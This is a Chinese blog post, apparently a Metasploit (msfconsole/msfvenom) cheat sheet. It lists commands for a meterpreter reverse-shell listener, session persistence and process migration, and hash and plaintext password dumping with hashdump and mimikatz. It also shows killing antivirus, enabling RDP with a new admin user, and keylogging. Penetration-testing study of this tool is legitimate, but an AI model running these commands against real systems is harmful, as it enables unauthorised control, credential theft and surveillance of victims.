前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >msfconsole从入门到放弃

msfconsole从入门到放弃

作者头像
逍遥子大表哥
发布2021-12-17 21:16:18
1.2K0
发布2021-12-17 21:16:18
举报
文章被收录于专栏:kali blogkali blog

关于msfconsole

msfconsole简称msf是一款常用的渗透测试工具,包含了常见的漏洞利用模块和生成各种木马。是出家旅行的必备神器,今天我们在一起来回顾下吧。

启动

在终端执行

代码语言:javascript
复制
service postgresql start #启动postgresql 不启动也可以
msfconsole

常见的参数解读

代码语言:javascript
复制
-p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的

-l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all

-n, –nopsled < length> 为payload预先指定一个NOP滑动长度

-f, –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)

-e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload

-a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64

–platform < platform> 指定payload的目标平台

-s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小

-b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符例如:不使用 '\x0f'、'\x00';

-i, –iterations < count> 指定payload的编码次数

-c, –add-code < path> 指定一个附加的win32 shellcode文件

-x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中

-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行

–payload-options 列举payload的标准选项

-o, –out < path> 指定创建好的payload的存放位置

-v, –var-name < name> 指定一个自定义的变量,以确定输出格式

–shellest 最小化生成payload

-h, –help 查看帮助选项

–help-formats 查看msf支持的输出格式列表

查看所有payloads

--list payloads

使用msfvenom --list encoders可查看所有编码器

防止假session

在实战中,经常会遇到假session或者刚连接就断开的情况,这里补充一些监听参数,防止假死与假session。

代码语言:javascript
复制
msf exploit(multi/handler) > set ExitOnSession false   //可以在接收到seesion后继续监听端口,保持侦听。

防止session意外退出

代码语言:javascript
复制
msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0 

默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0

代码语言:javascript
复制
msf5 exploit(multi/handler) > set SessionExpirationTimeout 0 

默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭

handler后台持续监听

代码语言:javascript
复制
msf exploit(multi/handler) > exploit -j -z

使用exploit -j -z可在后台持续监听,-j为后台任务,-z为持续监听,使用Jobs命令查看和管理后台任务。jobs -K可结束所有任务。

还有种比较快捷的建立监听的方式,在msf下直接执行:

代码语言:javascript
复制
msf5 > handler -H 192.168.0.93 -P 5555 -p windows/meterpreter/reverse_tcp

如上,我们同样得到了会话。

会话的持久化

方式一:进程的迁移

查看当前shell的进程getid

查看目标运行的进程ps

如:我想将shell的进程变为 QQProtect.exe 的进程,执行migrate 3604即可。

方式二:

使用 espia

代码语言:javascript
复制
use espia

获取凭证

  在内网环境中,一个管理员可能管理多台服务器,他使用的密码有可能相同或者有规律,如果能够得到密码或者hash,再尝试登录内网其它服务器,可能取得意想不到的效果。

1.使用meterpreter的run hashdump命令

因为我电脑没有设置密码,所以这里没有hash信息

使用mimikatz

load mimikatz载入模块

使用wdigest命令获取登录过的用户储存在内存里的明文密码。

操作文件系统

1.文件的基本操作

ls:列出当前路径下的所有文件和文件夹。

pwd 或 getwd:查看当前路径。

search:搜索文件,使用search -h查看帮助。

cat:查看文件内容,比如cat test.txt。

edit:编辑或者创建文件。和Linux系统的vm命令类似,同样适用于目标系统是windows的情况。

rm:删除文件。

cd:切换路径。

mkdir:创建文件夹。

rmdir:删除文件夹。

getlwd 或 lpwd:查看自己系统的当前路径。

lcd:切换自己当前系统的目录。

lls:显示自己当前系统的所有文件和文件夹。

2.文件的上传和下载

(1) upload

  格式:upload本地文件路径目标文件路径

(2)download

格式:download 目标文件路径 本地文件路径

其它操作

1.关闭防病毒软件

代码语言:javascript
复制
run killav
run post/windows/manage/killav

2.操作远程桌面

代码语言:javascript
复制
run post/windows/manage/enable_rdp
run post/windows/manage/enable_rdp username=test password=test添加远程桌面的用户(同时也会将该用户添加到管理员组)

3.键盘记录

代码语言:javascript
复制
keyscan_start:开启键盘记录功能
keyscan_dump:显示捕捉到的键盘记录信息
keyscan_stop:停止键盘记录功能

未完待续~??????

版权属于:逍遥子大表哥

本文链接:https://cloud.tencent.com/developer/article/1921150

按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 关于msfconsole
  • 启动
  • 常见的参数解读
  • 查看所有payloads
  • 防止假session
  • 防止session意外退出
  • handler后台持续监听
  • 会话的持久化
  • 获取凭证
  • 使用mimikatz
  • 操作文件系统
  • 其它操作
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档